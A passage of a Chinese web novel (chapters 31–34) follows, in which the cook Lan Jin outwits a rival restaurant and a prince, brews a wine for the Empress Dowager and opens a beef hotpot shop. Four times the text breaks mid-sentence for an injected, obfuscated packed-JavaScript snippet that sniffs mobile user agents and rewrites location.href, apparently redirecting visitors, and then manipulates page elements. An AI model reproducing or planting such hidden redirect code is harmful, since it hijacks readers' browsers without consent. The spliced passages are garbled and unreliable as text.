如是主仆二人都把这事抛到脑后。酒楼太忙了，小娘子把所有的厨子都鼓动起来，甩着膀子给她搅打什么奶油。 最近伙计发现，越来越多外地打扮的人来蓝记大酒楼点名光顾：“这里是有蓝记桂花酿不是？再来一份提拉米苏蛋糕。” 原是重阳节那天，远近的学堂都放了假，举办秋游吟诗会，天都也不例外。 这本是寻常的事，连小秋也跟着书院的朋友一起去了，凑个热闹，一群半大孩子学曲水流觞，拿一个小酒杯放在河里。 到谁的面前，就拿起杯子，喝一杯做一首诗。 只不过小秋杯子里放的是桂花蜜水，大孩子才喝得上桂花酿。 当时蓝锦还黯然：“孩子到底是长大了，有了自己的生活啦。” 悟雅还劝她：“小娘子应该想开些，家里妹妹这么可爱，又这样懂事。开蒙晚，比其他孩子学得还快。” “我看就是吃了小娘子精心烹调的饭菜才这么聪明。这会儿去玩一玩又怎么样？说不定能写出许多流芳百世的诗作。” 蓝锦说：“那敢情好，说不定叫她们编了诗集，流传到天都白鹿书院去，个个来抢我们家孩子。” 悟雅道：“……而且你自己不也出门玩耍吗小娘子？” 蓝锦：“……” 悟雅倒是没出门的爱好，酒楼之外，她的爱好唯有一个——睡觉。 从床上睡到椅上，若是盛夏，席子叫她捂热了，哎，人家一翻身，再去睡凉的那一块。 诗传没传出去另说，天都的食客倒是涌了进来。 多的是重阳那日，和昭应的学子斗诗，尝了蓝记酒楼桂花酿的客人。 还有许多特色小点，让那一群出身显赫的世家子也连连击节赞叹，相约光顾。 一来不要紧，又发现了许多从未见过的新鲜吃食：白灼牛杂面，美极鸭口唎，蜜瓜拌火腿，银鱼酱油拌饭，盐焗鹌鹑蛋…… 就连一份平平无奇的炒土豆丝，蓝小娘子做得也比别家美味上十分！ 不油，不干，不绵，不糊，焦脆可人，咸香爽口，醋意恰到好处，锅气十足。 这家店有野趣却不失典雅富贵，让人感到新鲜得紧。 还有人悄悄打听到，在昭应养老的连家连老夫人，也对蓝记推崇备至，更信服了。 一时蓝记大酒楼的礼盒，在天都风头无两，上层圈子走礼时总捎带一份。 连带着明夫人办的清雅小报也狠狠火了一把，只因上面有邈晴庵主人写的蓝记美食鉴赏专栏。 蓝记的生意越来越火，树大招风。伙计发现，渐渐就有獐头鼠目的人在附近打探。 本来以为是县城里其他的酒楼，羡慕蓝记突然爆火。悟雅跟踪过去，发现皆是住在客栈，明显是远来客。 还是蓝记酒楼的一位老客点破：“这是天都荣宝楼家的啊，他们家的伙计不许留胡子蓄发，个个都弄得跟小太监似的，菜色指不定怎么样，噱头倒弄得很足。” 蓝锦和小秋对视一眼，又想到了当时被萧曼娘按在地下欺压的日子。 昭应萧家的事耗费了她们许多心血。一揭出来，民怨鼎沸。男丁秋末斩首，女眷判了流放。 却没再激起一点点水花，因为那天，蓝记大酒楼出新菜了！ 蓝锦想想从前的全胜，心下安定。 这日却有一个客商找上门来，狐皮大衣，领边白毛和胡子一块飞着，浑身金光。满身暴发户气质，手里还附庸风雅地拿了一把折扇。 周兴陆进了厢房，把折扇刷地一下打开，装模做样地摇了几下：“蓝大掌柜，我这里有好生意找你。” 蓝锦心想：大冬天还拿扇子，脑子是不是有问题？ 面上不显：“什么好生意？” 周兴陆掏出了一份契约：“你也是前世修来的。天都荣宝楼的周二公子，二皇子的座上宾，他要跟你做这个生意！” 原来是要用高价，订购一万坛桂花酿，半月交货。 蓝锦顿住了：“客人要得这么急，我们可能没有这么大的货量。” 周兴陆勃然作色：“这是周二少爷！买你家的酒是你的福报！为了皇家做事，哪轮到你说个不字？观鱼宴供奉不上，你担待得起吗？” 蓝锦一边装柔弱，一副被吓到的样子，一边陪笑：“原来是周二少爷当面，小人有眼不识泰山。” 周兴陆从鼻子里嗤了一声：“你这人怎么听不懂话，我不是什么周二少爷，我们东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116733|163650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家是。我……我是他的第一家仆。” 蓝锦笑得意味深长：“哦~家仆大人当面啊~小的有眼无珠。” 刺归刺，和皇家扯上了关系，轻则一个大不敬，重则一个欺君之罪。她担待不起，所以尽管来人凶神恶煞，她还是仔细商议了契约，接下了这份皇家贡酒订单。 到了约定的日子，狐皮家仆趾高气扬地来到了蓝记大酒楼：“哟，好事啊，蓝大掌柜还在这里，我还怕你交不上货，脚底抹油跑了。” “别怪我没提醒你，欺君之罪，抄家那是轻的，砍头掉脑袋，也没人救得了你。” “你放心，都是一个行当的人。供不上货，我们周家就发发慈悲，把你这蓝记酒楼买了下来。周二公子和二皇子就像一家人，还能不买这面子？” 蓝锦笑盈盈地把他请去库房，屋子里满满当当地摆了许多坛酒，她笑道：“不多不少，刚好一万坛。” 狐皮家仆瞠目结舌，半晌说不出话来：“这都是你一个人酿的？” 蓝锦答道：“自然不是。多亏客人您的督促，不然啊，我都没想到自己有这样大的本事。” “接了您这个单子，我干劲十足，马上联系城里大小食店，把这桂花酿的做法教给大家，成立了蓝记商会。” “大家齐上阵，这才把您供奉御前的桂花酿给完成。” “要不是您，我都不知道我蓝锦有这么强的影响力。” 家仆被堵得说不出话来，蓝锦拿出契约，他看都不敢看，转身就想跑。 蓝锦一声令下，悟雅从旁边一脚踢过来，反剪他的手，按在地上。家仆“哎哟”“哎哟”叫个不停。 蓝锦手扛着一个大炒勺，慢悠悠地晃到他前面，把契约怼到他脸上：“这白纸黑字可写好了，按了手印，钤了周家公印。今日交货，钱货两讫，否则违约方双倍赔偿。” “当时说好了，我才签的。怎么，现在是想反悔吗？我立刻拉你去见官。” 来客见风向逆转，卑微地伏地求饶。 蓝锦道：“前倨后恭，猪狗不如。来人，送县衙。” 把契约递给丁四：“签字画押，还有他家公印，做不得假。告上县衙，叫他赔全城的钱。” 却说周家过于自傲，本就没想到半个月内就能做出那么多份金黄澄澈、幽香扑鼻的上品桂花酿。 来客不仅没有带银子，来全身上下连保释的赎金都凑不齐，当天就进了大牢，和跳蚤作伴了。 蓝锦和伙计、客人打听过，周家不过是这一辈里有人奉承上了二皇子。 那也只是个肥马轻裘、齐纨鲁缟的玩主，没什么政治资本和声望。 蓝锦把还回来的契约揣进袖子里收好：“光脚的不怕穿鞋的，我就不信周家不在乎名声，赖定了我这账。” 桂花酿越陈越香，所以蓝锦并不心慌。 只是悟雅慌张地从门外跑来：“蓝姐姐，你快出去看看呐！大堂来了一个夫人，拿着帕子哭得不行。” “她她……她说她是你娘！” 32. 天都走一遭 哒哒的马蹄声逐渐清脆，却被热闹的人声压下去。马车驶过朱雀门，蓝锦撩开车帘子，回头去瞧。 但见城墙高耸，从城墙根下看，更觉自身渺小，一眼望不到头。 城门两侧有巨龙盘旋，门钉大如人拳，铮铮威赫。 守城将士身着盔甲，手持长矛。 这是蓝锦第一次见到这么正式的冷兵器时代暴力工具，想想尖锐枪头的杀伤力，忍不住打了个冷颤。 向前眺望，远远能瞧见皇城金光璀璨的御瓦，脊兽排排立于飞檐。无一处不是金灿灿的，在阳光下愈发熠熠。 蓝锦叫巡查的金吾卫晃了一下眼，原是他们佩刀上的宝石反射的太阳光。 收回远眺的目光，放下车帘子，一位开了家小饭馆的商会同胞小声对她讲道： “大掌柜，这天都城路边摊子上的一口茶，都比我们那儿的陈酿卖得贵咧。” 蓝锦嘴角弯弯：“既来之，则安之。别管多奢华的锦玉堆里养出的人，也长一张嘴，一鼻子俩眼。” “大家都长一张嘴，都要吃饭，没有平白断人衣食活路的道理。” 却说荣宝楼的人，早在蓝锦还没进城门的时候，就听到了风声。 眼下蓝锦领着一众蓝记商会成员，浩浩荡荡地直奔荣宝楼。守门的小二先一步挡住了他们： “哎哎哎，哪来的乡下泥腿子？去去去，别挡人做生意。” 蓝锦一声嗤笑，扬声道：“我还是头一次见到开着门赶客的酒楼。” “你家莫不是关了门、破了产、穷的得不开锅、端着个花架子唬人，正正经经的客人，怎么还往外赶了？” “这样冷待衣食父母，砸自己饭碗。灶王爷见了，都得收了你们三辈子的财运。” 店小二急道：“嘿，你这人怎么说话这么难听？女的就是泼皮无赖，赶紧滚一边儿去吧。” 蓝锦完全不受影响，按着自己的节奏，把周家和自己签订的契约展开一扬，逐字逐句地开始从头念到尾。 有人拦他，她便灵巧地闪躲，只不叫人抓着。 悟雅身高压制，只跟耍猴一样逗弄人家的厮波，隔着帽子拎人家头皮——她怕脏了手！ 蓝锦自顾自朗声道：“不会吧？不会吧？这一万坛上品桂花酿的酒钱，周大掌柜不会想赖掉吧？” “不会吧？不会吧？不会要赖我这——小小乡下女子，泥腿子——的帐吧？” “看你这男人家家的，家大业大的，想必不能是这么个行事章程。不讲究得很呐，连我这小小女子都不如。” 收了嬉笑，脸色一肃：“那我蓝锦就要替天行道，清一清这样的行业败类了！” 楼间出来了一个管家，翘着胡子，同样满脸傲气：“小女娘，好心劝你一句。年轻人啊，没经过什么事儿，从哪儿来的，回哪去吧。这契约，我们家主子不认。” 蓝锦笑道：“既然是这样，我就更加没有顾虑了。明日我便带着货，就在你这种荣宝楼门口当街摆摊。” “各位有钱的捧个钱场，没钱的捧个人场。但凡来有兴趣听故事的，喝我一碗酒，我跟他讲一讲——” “这周大掌柜如何下单子不给钱，如何口口声声跟二皇子是一家人，如何给你们上边的抹黑的。” “我们倒是没脸没皮的不要紧，赶了还来，就不知荣宝楼的面皮经不经得起长年累月的摔打了。” 管事倒真是有些意想不到，谁曾想蓝锦有这样的魄力和底气，打算跟他家干耗着。 阎王好见，小鬼难缠。他忙遣一个厮波回去报知掌柜的。 周掌柜迟迟没有露面，现下正在二皇子府上伺候人家胡吃海塞，花天酒地。满脸谄媚相地奉承着。 二皇子听闻此事，瞥了一眼慌乱的周掌柜，从鼻子里哼出一声：“没用的东西，区区小事，也值当说给我听。拖进去打杀了就是了。” 周掌柜陪笑道：“等闲哪能麻烦您呀，实在是这小妮子狡猾，她不是一个人来的。” “也不知给人家灌了什么迷魂汤，声势浩大地纠集了全县城的食店掌柜，一个个的，都来天都要帐了。” “一路走过来，惊动了不少人了。” 二皇子醉眼迷蒙，只把手一扬：“这还不好办，面上随便找个由头。你这样，太后，最近是头风发作，也就喝酒才能压上一压。” “就这几天，我正想给她老人家献一份佳酿。你就派人传话，若那小娘皮能酿出一种取悦了太后的酒，欠款，奉还！” “若办砸啦，呵呵，她这商会，一个也别想走出这天都城。” 蓝锦听到这个消息，心知肚明这是阳谋。却磕巴都不打一下，欣然同意：“定不负二皇子所托。” 京城大小粮铺商肆，摊贩酒家，一听到消息，知道二皇子要与这乡下小妮子打擂台，立刻避嫌，停售一切能酿酒的材料，生怕趟了浑水。 蓝锦的人在城中转了一天，垂头丧气地回来了：“大掌柜，买不到东西，连生药铺子都不卖给我们香料了。” “这会儿就算回县城去，一来一回也赶不上了。” 蓝锦略一思忖，当下雇了几辆大车，带着所有人快马去了郊外。 天都风水气候俱佳，城郊山上果然有许多野山果树，灌木丛中也有许多小浆果。 还有一些早开的梅花，全都叫蓝锦一行精心地采摘下来了。 又在附近一处庙宇借宿住下，每日晨起就去收集晨露，披星而归。 农家的新粮此时已入了仓，蓝锦逐户走访，精挑细选，收了一些品质上乘的米粮。 另一方面快快去信给妙清师太，问她有没有好点子。 如是众人日日热火朝天地忙了起来，蓝锦按她用惯了的法子，使人按流程分配了工序，个个形成一条流水线。 你清洗，我削皮，他捶打，他榨汁。制曲、用曲、投料……专人负责。 分得精细，连大米都要磨掉一层外皮，才开始酿酒工序。 这天夜里，蓝锦揉着酸软的腰肢，回伽蓝寺的厢房，却见一个蒙着面的黑衣人，在墙头蹲着等她。 一来她来，送过来一个乌木匣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15125334|163650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子，转身就飞走了。 蓝锦打开一看，却见里面整整齐齐地摆着多个小白瓷罐，个个都叫丝帕裹住，每个罐子上都有清隽的字体写了签子。 江南紫米、波斯红花、边塞紫草、吐蕃雪莲、西域沉香…… 这些都是顶顶名贵的香料，寻常百姓见都见不到，更别提买了。 匣子底压着一张淡青色的花笺子：“闻说知己入京，以山野之力，撼地新天，甚善。香料为游历所得，盼助佳酿。” 落款不是名，不是印，乃是一团倔强跳动的火焰，和一条笨拙的小鱼。 蓝锦扑哧一笑，心想：他怎么知道我管他叫小人鱼呢？ 赶紧打开罐子，逐个嗅过去，心中的惊喜如涟漪一般越漾越大。 有了这些上品香料，正好为醇香佳酿添彩增色。 蓝锦指尖轻抚那个小小的火焰，想起那日有人说自己“研丹擘石，不改坚赤”，心中有一股异样的电流滑过，嘴角不自觉勾起弧度。 到了启坛的那天，众人的好奇心都被吊到了顶峰。 太后由大公主陪着，听闻酿酒人是个乡下来的年轻女娘，破天荒地召见了蓝锦。 她执杯再抿一口，神思飘忽得很远：“这野山果味道，我少时也曾尝过……” 满饮一杯，眼角似有闪光：“岁月不饶人啊，那些时日终究回不去了。” 二皇子虽在一旁作恭敬状，面色却不大好看，咬牙绷着腮帮子，强笑道：“没想到这乡下东西，也入得了皇祖母的法眼。” 太后却放下银杯，高声道：“酿酒娘子何在？” 蓝锦荆钗布裙，再次下拜：“草民叩见太后，奉二皇子之命，民女与家乡商会共制。” 太后不怒自威：“便是你因商贾之事，闹得满城风雨？” 女主俯首应是，却并未请罪。 太后终是一笑：“此味甚好，你便说说，缘何你就能酿出此等佳酿。” 蓝锦一五一十坦诚以告，并不避讳原料断供、寻味山野之事：“想来天下万物，各得其所。山野间也有逍遥自在的本味，所生之材必有其用。” 太后朗声笑道：“好一个逍遥本味，好一个必有其用。老二，你也是富贵气象养出来的，倒没有这样的好格局。” “使手腕框住区区一方天地，算得了什么？殊不知这天下并非你一人说了算！庙堂之外，英才处处啊。” “来人，赏。” 便有一个满脸佛相的大宫女，笑盈盈地捧来一个盖了红布的托盘： “蓝娘子，太后赏银千两，嘉奖娘子以女子之身行商之才。” 蓝锦深拜谢恩，口中却不卑不亢：“长者赐，莫敢辞。只有一事不敢擅专，须请太后娘娘示下。” 太后颔首，示意她说。 “二皇子殿下日前当众承诺，若造得佳酿，便将所欠货款如数奉还。” “现草民已得娘娘赏赐，不敢贪心。恐殿下有难言之隐，还请娘娘允准我能将赏赐分给商会成员，付了酒钱。” 太后一笑，却不答她。 33. 海鲜砂锅粥 一旁的二皇子却是出离愤怒了，腾地向前一步，想想这是什么场合，到底忍下了。 蓝锦揣度着太后的意思，姿势不动：“皇商的地位崇高，我等年轻小辈万不敢有所冒犯。” “想来贵人事忙，男子行商，到底有许多不细致妥帖之处，账本记岔了也是有的。昭应蓝记商会大小掌柜深谢太后娘娘赏赐。” 太后闻言，更加神清气爽，看向大公主，一笑。 拈着酒杯，俯视着下面：“行了，你们年轻小辈锐意，自己做主吧。” 却是又召来大宫女，提笔为蓝锦写了一副匾额：“萱花酿”。 又吩咐道：“酒不错，换个坛子，贴上这名，给皇帝送几坛。” 出了宫门，蓝锦瞥了一样面容紫涨、偏还端着架子的二皇子，掉头扬长而去。 天都城的好东西就是多。银子进账，恼人的东西消失，蓝锦去茶楼听了书，去街头看了杂耍，还去逛了成衣铺子和首饰店，琳琅满目，乐不思蜀，快走不动道了。 没有忘了走到哪吃到哪的爱好，尝了石髓羹、犒腰子、槐叶冷淘、插肉面、长鱼兜子……还有那种汤饼小店，门脸挂了一溜的半扇猪羊呐（1）。 她正在一家卖黄鱼面的小店里流连，和老板打听，哪里有商队能买到海鲜。 只觉得背后有一道热烘烘的目光盯着自己，回头一看，不是小人鱼又是谁！ “呀，想不到在这里碰上了。我可不是食言不在家等你，实是有账要收啊。” 萧仁禹笑得叫人如沐春风：“我知道，蓝娘子。” “说起来还没有好好谢过萧郎君，若不是你使人，详细与我说了太后的脾性喜好，我这次奏对也不能这般顺利。对，还有那些好香料，都还有剩的，改日我还给萧郎君。” “蓝娘子这般与我客气。还香料就不必了，不若也用来替我酿一酿专属佳酿，权作谢仪，如何？” “这有什么！不消你说，我也要给你酿的。” 萧仁禹面上的笑意愈发深了：“蓝娘子跟我来，请你看一出好戏。” 他再次细心地扶着蓝锦上了马车，车里没有熏香，倒刻意放了许多新鲜果子，闻起来清新舒适。 蓝锦果然一眼注意到了这布置：“呀，原来你也爱果木香。天然草本味道，是最复杂精妙的！” 萧仁禹笑而不答，只抽开托肘小案下的抽屉，拿出各色果子。 “蓝娘子尝尝我的手艺，不知合不合你的口味。” 是她顶顶爱吃的山楂糕、桂圆糕和大枣夹核桃。一吃就知是新手做的，因这小点风格不成熟，或调色不均，或发挥不一。可是选材极佳极新鲜，调味也是精心试过的。 萧仁禹在一边紧张地暗暗攥起了拳头。天知道他做了多少炉，才挑出来这么些不干不裂能看的。 蓝锦笑得梨涡深深：“好吃！” 萧仁禹不着痕迹地松了一口气，拿起茶杯递到蓝锦面前：“蓝娘子再尝尝这牛乳茶，想来你爱喝。” 蓝锦依言接过，二人指尖微触，她并未注意：“呀，好喝！我看你天赋好极，该来给我做个学徒。” 萧仁禹面皮薄红：“班门弄斧了。” “不要这样说呀。你对食材调味的把握这样精准，得是吃过很多珍馐美馔才有的本能。而且你肯为达成目标付出努力，这本身就是很了不起的天赋。” 萧仁禹嘴角微抿，小娘子若知道我的目标是什么，还这样说吗。 此时马车停了，蓝锦也停了吃吃喝喝还说个不停的嘴，撩起车帘一看，不待萧仁禹扶她，径直跳下去道：“好精致的酒家！” 萧仁禹在后面失笑，酒楼掌柜的立即迎了出来：“这不是蓝大掌柜吗？” 蓝锦鼓起一双眼：“你认识我？” 穿着铜钱纹锦袍的掌柜满面堆笑：“试问天都谁人不知为太后娘娘献了好酒的蓝大掌柜？还得了娘娘亲自赐名，这是莫大的荣耀，莫大的本事啊！” 蓝锦心中啧啧称奇，这才不过半日功夫，竟传得人尽皆知了。 “蓝大掌柜这萱花酿可有出售的打算？这酒有此殊荣，名字又好。萱草忘忧，又有为人子女的濡慕。只怕整个天都的酒桌，都要被这萱花酿占据啦。” 蓝锦还未开口，萧仁禹就上前一步：“蓝娘子会慢慢考虑安排。掌柜的，如今正主来了，今日谈谈转让收购事宜。” 掌柜的连连俯首称是，笑得见牙不见眼地把二人引进了厢房。 酒楼有打动她的点，订契、付钱、过户……如是过了三四家，蓝锦刚捂热的赏银花得七七八八，终于耐不住了：“怎么回事？这些酒楼地段格局俱佳，凭甚用这么便宜的价格，一股脑都转给了我家？” 萧仁禹笑道：“只因他们上了蓝大掌柜的船了。” 蓝锦还在云里雾里，萧仁禹给她解释：“这些店家，原是叫荣宝楼挤兑的，快交店走人了。” “你打了荣宝楼的脸，还在宫里当面打了二皇子的脸，全身而退。现下只怕都以为你有了太后做靠山，能与二皇子掰一掰腕子。” “是被吸干了血，离了这天都城；还是断臂换点银子，寻蓝大掌柜的庇护，求一搏之机，他们心中自有一杆秤。” 蓝锦心中大为震撼，我，我这就给卷入斗争漩涡啦？ 都说出名要趁早，名声大噪也有名声大噪的烦恼啊。 兵来将挡，水来土掩。今日不忧明日事，若人来扰，反他爹的。 蓝锦把契子挨个收好，精心塞进贴身小兜。 萧仁禹看她怡然自得，全无畏惧担忧，心想：不错，果然是蓝小娘子能做出的事。 笑得愈发温柔：“还去下一家吗？” 蓝锦大手一挥：“走！” 二人一路大肆购买了些不动产，又在萧仁禹的介绍下，逛了好些高档茶肆，卖丝绸玉器的秀水街，妆楼绣阁，和一看就很贵的书画廊。 蓝锦各处研究，这幅画能放到酒楼厢房，做一个梅兰竹菊主题；这等花色的绸缎若从空中抛下，正适合装点吸引客人的表演舞台…… 只是刚才花钱很痛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15131903|163650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快的蓝大掌柜，一味肉痛地捂着自己荷包：“先看看，看看就行！” 萧仁禹要买下送她，却叫她拦住：“等我在天都开了酒楼再说，再说！还没弄出什么，就买许多工具物件，这可不成，浪费！” 他没有强硬地干涉，只道：“这些东西进了小娘子的法眼，无论怎样都不浪费。” 蓝锦“嗯嗯”地敷衍他，很快又被戏楼的婉丽唱腔吸引走了。 如是一番消磨，萧仁禹送蓝锦回了暂住的客栈，磨磨蹭蹭地不愿走。蓝锦突然想起来什么，一拍脑门：“哎呀，车上有个包袱，里头还放着我买的瑶柱呐。” “那家店的黄鱼面好吃，选材很有品味。我立刻就挑了好带的食材买了点，刚巧煮个海鲜砂锅粥，你也留下尝尝。” 一想起来就去四处翻找，片刻也等不及。 蓝锦同客栈东家借了小厨房，还跟人家买了点鲜虾，手脚麻利地忙开来。 萧仁禹过来上手帮忙，显然是没进过庖厨的样子，手脚生涩。蓝锦不耐烦看他打乱自己的节奏：“快出去吧。” 他偏不走，倔强地去捏跳出盆的虾子。 “好罢好罢，那你便把刺人的虾头专门弄下来，然后像这样，一挑，去了虾线。”蓝锦捉一只虾在手里示范，萧仁禹认真地点点头。 蓝锦自去生火，处理瑶柱和海鱼干。把香菇切成薄片，下了油锅，小火煸得香香的。 萧仁禹不懂烹饪，使刀却是利落，三下五除二，已经把虾处理好了。 蓝锦指挥着他拿胡椒粉腌一腌虾仁，自己起了热锅，把虾头炒出虾油，倒了水，金灿灿地咕嘟一小会，变成鲜美的虾汁子。 虾汁倒进砂锅里——蓝锦出远门特意带的——要么说她是酒楼老板呐！ 大米、瑶柱、去骨切丝的海鱼干也都倒了进去，大火热闹地煮开，再使小火慢炖。 过了会功夫，便把油香四溢的煎香菇片倒进去。 蓝锦接着在自己的藏蓝棉布挎包里寻摸，刚才掏出了一个砂锅，现下又掏出一瓶芝麻油和一罐花生酱。 挖了一勺酱，往锅里边倒边搅。从萧仁禹手中接过大虾，倒进去煮得红红的，最后撒了点薄盐和葱花，可以上桌了。 海鲜的鲜香扑面而来，蓝锦点了几滴芝麻油，拿勺子一翻拌，便要去寻帕子端砂锅。 一时不察，叫热气哈了手，“哎呀”一声，拿两只小烫手捏住自己耳垂降温。 萧仁禹大步上前，抢在蓝锦前面端了砂锅。 二人面前各有一碗，蓝锦小嘴嘬得浑圆，一个劲儿地吹着勺子，再一口抿进胃里。 啊！舒服呀。 秋意渐浓，寒气逼人，日渐干燥的节气里，在氤氲的热汽里共享一份热粥，是快乐事。 萧仁禹显然就很识得这种意趣。更不要说，这粥既有名贵食材带来的鲜美，又有家常风格的粥米带来的温馨平常。有种他们已经这样吃过无数顿饭的错觉。 有一个黑影从门外一闪而过，萧仁禹避着蓝锦，与他点了一点头。 34. 潮汕牛肉锅 晨光熹微，肃杀的秋风盘旋起地上的落叶。空荡荡的街道里，只有刚开门的包子铺冒出热腾腾的蒸汽，香气和冷气一起钻到鼻孔里，钻得人一激灵。 蓝锦雇了一辆大车，和悟雅一起，从客栈里一件一件往外搬行李。 富贵不还乡，如锦衣夜行。同来的商会老板们，牵挂羁绊都在昭应城，等不及向家小汇报此行的惊心动魄和柳暗花明，已经先行归乡。 蓝锦留下玩闹了这两天，友也会了，产也置了，见了世面，吃喝玩耍无一不精致。如今，她也是在天都有铺子收租的女娘了。 一开始，她也不是完全放心地做个游客，影影绰绰地总觉得有人在跟着自己。 “嗨，你有没有觉得有人在盯着咱们？” 萧仁禹不动声色地侧了下身子，手指微动了动，宽慰道：“放心，二皇子没法对你做什么。” 蓝锦心大地表示赞同：“确实，他要是那么聪明有本事的人，之前，也不能把蠢相摆到台面上来。想赖了我的帐，还怕脏了自己的手，居然妄图借太后的刀杀人。” “当下格局都看不清，是不是他身边都是捧他的人，从来没有人告诉他，他这么蠢啊。” 萧仁禹叫她这异于常人的大胆话语夺了注意力。 她好像从来不觉得皇家有什么天然的合法性，也不认为掌权者一定占据公理。谈论起他们，筹谋居多，敬畏不足。 伦理礼法不能阻碍她达成自己的目的，面前有山她就移，头上有天她就捅。 “小娘子就比他明智多了，易位而处，能比他有建树。” “哎嘿，杀君马者路旁儿，不要捧杀我。我赚的钱又不进不了你的口袋，换的名声也落不到你头上，这么鞭策我上进。我好好开我的酒楼，你好好做你的食客。” “和那些膏粱子，我还是大路朝天，各走一边。人不犯我，我不犯人。” 萧仁禹一时语塞，欲言又止。 最后到底也没出什么意外，蓝锦不知道有人在背后相帮，只以为是二皇子又找到了新玩具，渐渐放松下来。 她这几天最受到惊吓的，反而是萧仁禹的手笔。 挎着空空的藏蓝布包，正打算去街上研究一下竞对，调查一下市场选品和食材情况，蓝锦叫门口一辆满登登的马车拦住了去路。 “蓝大掌柜，这是您昨日在敝店购置的琉璃花樽，连夜去调了货才凑成的一对。因此今晨才送到，您多担待！” “蓝大掌柜，这是小店最负盛名的几幅画。给您换了最富贵的装裱，来日摆到您的酒楼里，肯定提人气。” 还有绸缎布匹、胭脂香料、金玉摆件……林林总总装了几大车。 蓝锦一看就是萧仁禹搞的鬼，因着这些熟悉的商品，都是昨日二人一起逛街时遇到的。有的她不过只是看了一眼，连把玩一下都没有。 难为他一个个搜罗起来。 说了以后再买以后再买，这人怎么擅作主张！ 再比朋友有钱，是这么挥霍的么！ 蓝锦心里半是薄怒，半是怪怪的，面对一张张笑出褶子来的财迷脸，无奈地把路让开，叫人把货小心地卸下来。 由是她今日才和悟雅一起起了个大早，蚂蚁搬家似的，收拾得满头大汗。 玩也玩够了，防着萧仁禹再约她逛什么铺子，背地送什么几大车过来，蓝锦一大早就雇了车，溜回了昭应城。 车刚停定，蓝锦大半个身子还在车里，随着“噢~”的一声，她就被一篮子红红的山茶花瓣撒了满头。 “欢迎蓝大掌柜凯旋！萱花娘子，傲视群雄；萱花娘子，战无不胜！” 云江望和霍旭云一左一右地赶着来搀她，一人挽着一只胳膊： “蓝姐姐，我们可听商会的人说啦！你连皇子都不怕，又酿出了比宫里还好的酒，还替他们每人都争来了太后赏赐。” “蓝姐姐，你可真了不起！” 小秋扑到蓝锦的怀里：“就说我姐姐天下第一厉害！是天仙厨子下凡！” 蓝记酒楼的伙计们站了好几排，都在拍手庆祝她此行的大捷。罗满仓大娘专门拿了好些双面红的彩纸条，不停地往空中散，把气氛炒得热腾腾的。 蓝锦只插了一根簪子的乌黑发髻上，此时已叫花瓣缀了满头。她喜笑颜开，一手拉着小秋，一手伸去篮子里拿了一朵还完整的湘妃色小花，手腕一翻戴到头上： “好，承蒙厚爱，这就去侍弄，过两天请大家吃火锅！” 还来不及弄明白火锅是什么，团团簇拥住蓝锦的人群就爆发出一阵欢呼：“蓝小娘子又出新品啦！” 蓝锦梨涡深深，胃里酥麻麻的。想起来刚才还未靠近县城大门的时候，便看到有一个眼熟的背影，远远地撒丫子跑了回去。 怪道说呢！ 妙清师太也来了，蓝锦上前致谢：“还多亏了师太的手书，叫我能借住伽蓝寺，又得了主持窖藏的山巅雪水。若非如此，萱花酿也不能成。” “蓝娘子就说那种外道话，你我之间！再说，蓝记不还有我一成干股么？现下，我这《蓝记饮食》若再写上宫里都没有的好酒，天都的居民也要抢着买了。” 蓝锦叫妙清说得愈发高兴。 可她并没有因此停下脚步。赶路的疲乏一歇过，她便马不停蹄地去城郊寻访养牛的农户。 这事说起来还要归功于萧曼娘的私盐案。正是深山寻访的途中，蓝锦碰见了零星几个在山上放牛的牧童，才意识到，这个时空，肉牛的发展已经小有传统。 怪不得生肉铺子也能买到牛肉。 趁着还没有人大规模养殖，何不让她蓝锦做这第一个吃螃蟹的人？ 和农户谈好生意，看地过户，建围栏，买商铺，改装潢，“蓝记牛肉火锅”正式在昭应城郊开业了！ 蓝锦一早就想向潮汕牛肉火锅下手。现下又有钱，又有名，此时不推广，更待何时。是时候让昭应人民体会一下深谙传承千年的“食不厌精，脍不厌细”之道、越卷越精致的牛肉吃法了。 如是才对得起牛，展现最大的尊重，投以最虔诚的热情！ 虽说地段较蓝记酒楼和蓝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 